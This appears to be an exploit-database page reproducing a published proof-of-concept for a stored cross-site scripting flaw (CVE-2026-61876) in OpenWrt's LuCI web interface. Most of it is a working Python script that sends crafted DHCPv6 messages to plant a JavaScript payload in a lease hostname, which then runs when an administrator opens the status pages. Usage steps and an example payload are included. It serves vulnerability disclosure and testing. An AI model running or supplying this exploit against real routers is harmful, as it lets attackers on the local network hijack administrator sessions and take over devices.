LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2026-61876 | 12 Jul 202612:26 | – | circl | |
| CVE-2026-61876 | 12 Jul 202612:07 | – | cve | |
| CVE-2026-61876 LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting | 12 Jul 202612:07 | – | cvelist | |
| EUVD-2026-43236 | 12 Jul 202612:07 | – | euvd | |
| CVE-2026-61876 | 12 Jul 202612:16 | – | nvd | |
| 📄 LuCI DHCPv6 Cross Site Scripting | 11 Aug 202600:00 | – | packetstorm | |
| PT-2026-57560 | 12 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-61876 LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting | 12 Jul 202612:07 | – | vulnrichment |
# Exploit Title: LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting
# CVE: CVE-2026-61876
# Date: 2026-07-13
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://openwrt.org/
# Software Link: https://github.com/openwrt/luci
# Affected: OpenWrt LuCI (luci-mod-status, luci-mod-network) before patch
# Tested on: OpenWrt 25.12.0-rc1 x86_64
# Category: Remote
# Platform: Linux
# Exploit Type: Stored XSS
# CVSS: 8.8
# Description: An unauthenticated adjacent-network attacker can inject malicious HTML/JavaScript via DHCPv6 Client FQDN (option 39). The hostname is stored by odhcpd and rendered unsafely via innerHTML in LuCI status tables.
# Fixed in: LuCI commit 55379d0 (and backports)
# Usage:
# python3 exploit.py --ifindex <LAN_INTERFACE_INDEX> --hostname '<payload>'
#
# Examples:
# python3 exploit.py --ifindex 2 --hostname '<details/open/ontoggle=alert("XDHCP6D")>'
#
# Options:
# --ifindex Interface index of the LAN interface
# --hostname Malicious hostname/FQDN payload
# --server DHCPv6 server (default: ff02::1:2)
# --release Release the lease after injection
#
# Notes:
# • Requires adjacent network access (LAN)
# • Administrator must view Status > Overview or Network > DHCP and DNS
# • Payload example triggers alert(); other XSS payloads work too.
#
# How to Use
#
# Step 1:
# Identify your LAN interface index: ip -o link show | awk '{print $1, $2}'
#
# Step 2:
# Run the exploit and then open LuCI as admin to trigger the payload.
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╝
""")
import argparse
import os
import random
import socket
import struct
import time
OPT_CLIENTID = 1
OPT_SERVERID = 2
OPT_IA_NA = 3
OPT_ORO = 6
OPT_ELAPSED = 8
OPT_STATUS = 13
OPT_IAADDR = 5
OPT_FQDN = 39
def opt(code, data):
return struct.pack("!HH", code, len(data)) + data
def options(buf):
i = 0
while i + 4 <= len(buf):
code, length = struct.unpack("!HH", buf[i:i + 4])
i += 4
yield code, buf[i:i + length]
i += length
def first_opt(buf, wanted):
for code, data in options(buf):
if code == wanted:
return data
return None
def encode_domain(name):
labels = name.rstrip(".").split(".") if name else []
out = bytearray()
for label in labels:
raw = label.encode("utf-8")
if len(raw) > 63:
raise ValueError("domain label too long for DHCPv6 FQDN option")
out.append(len(raw))
out += raw
out.append(0)
return bytes(out)
def make_duid(mac):
dhcpv6_epoch = 946684800
now = int(time.time() - dhcpv6_epoch)
return struct.pack("!HHI", 1, 1, now) + mac
def make_msg(msg_type, txid, opts):
return bytes([msg_type]) + txid + b"".join(opts)
def parse_msg(data):
if len(data) < 4:
return None
return data[0], data[1:4], data[4:]
def open_sock(ifindex, port, bind_addr):
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.settimeout(4)
try:
s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, ifindex)
except OSError:
pass
try:
s.bind((bind_addr, port, 0, ifindex if bind_addr.startswith("fe80:") else 0))
return s, port
except OSError:
if port != 0:
s.bind((bind_addr, 0, 0, ifindex if bind_addr.startswith("fe80:") else 0))
return s, s.getsockname()[1]
raise
def send_recv(sock, dst, msg, txid, expect_types):
sock.sendto(msg, dst)
deadline = time.time() + 5
while time.time() < deadline:
try:
data, addr = sock.recvfrom(4096)
except socket.timeout:
break
parsed = parse_msg(data)
if not parsed:
continue
msg_type, rxid, opts = parsed
if rxid == txid and msg_type in expect_types:
return msg_type, opts, addr, data
return None
def status_text(ia_na):
if not ia_na:
return ""
for code, data in options(ia_na[12:]):
if code == OPT_STATUS and len(data) >= 2:
status = struct.unpack("!H", data[:2])[0]
text = data[2:].decode("utf-8", "replace")
return f"status={status} {text}".strip()
return ""
def main():
banner()
ap = argparse.ArgumentParser(description="LuCI DHCPv6 FQDN XSS Exploit (CVE-2026-61876)")
ap.add_argument("--ifindex", type=int, required=True)
ap.add_argument("--hostname", required=True)
ap.add_argument("--server", default="ff02::1:2")
ap.add_argument("--bind-addr", default="::")
ap.add_argument("--port", type=int, default=546)
ap.add_argument("--release", action="store_true")
ap.add_argument("--duid-hex")
ap.add_argument("--iaid-hex")
args = ap.parse_args()
if args.duid_hex:
duid = bytes.fromhex(args.duid_hex)
mac = duid[-6:] if len(duid) >= 14 else b"\x00" * 6
else:
mac = bytes([0x02, 0x00, 0x5e, random.randrange(256), random.randrange(256), random.randrange(256)])
duid = make_duid(mac)
iaid = bytes.fromhex(args.iaid_hex) if args.iaid_hex else os.urandom(4)
fqdn = bytes([0]) + encode_domain(args.hostname)
oro = struct.pack("!HHH", 23, 24, OPT_FQDN)
sock, sport = open_sock(args.ifindex, args.port, args.bind_addr)
dst = (args.server, 547, 0, args.ifindex if args.server.startswith("ff") or args.server.startswith("fe80:") else 0)
txid = os.urandom(3)
solicit = make_msg(1, txid, [
opt(OPT_CLIENTID, duid),
opt(OPT_IA_NA, iaid + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"),
opt(OPT_ORO, oro),
opt(OPT_ELAPSED, b"\x00\x00"),
opt(OPT_FQDN, fqdn),
])
adv = send_recv(sock, dst, solicit, txid, {2})
if not adv:
print(f"NO_ADVERTISE source_port={sport}")
return 2
_, adv_opts, addr, _ = adv
serverid = first_opt(adv_opts, OPT_SERVERID)
ia_na = first_opt(adv_opts, OPT_IA_NA)
print(f"ADVERTISE from={addr[0]} source_port={sport}")
if not serverid or not ia_na:
return 3
txid = os.urandom(3)
request = make_msg(3, txid, [
opt(OPT_CLIENTID, duid),
opt(OPT_SERVERID, serverid),
opt(OPT_IA_NA, ia_na),
opt(OPT_ORO, oro),
opt(OPT_ELAPSED, b"\x00\x00"),
opt(OPT_FQDN, fqdn),
])
rep = send_recv(sock, dst, request, txid, {7})
if not rep:
print("NO_REPLY")
return 4
_, reply_opts, addr, _ = rep
print(f"REPLY from={addr[0]}")
if args.release:
txid = os.urandom(3)
release = make_msg(8, txid, [
opt(OPT_CLIENTID, duid),
opt(OPT_SERVERID, serverid),
opt(OPT_IA_NA, ia_na),
])
rel = send_recv(sock, dst, release, txid, {7})
print("RELEASE_REPLY" if rel else "NO_RELEASE_REPLY")
print(f"DUID={duid.hex()} IAID={iaid.hex()}")
return 0
if __name__ == "__main__":
raise SystemExit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.18.8
CVSS 49.4
EPSS0.00851
SSVC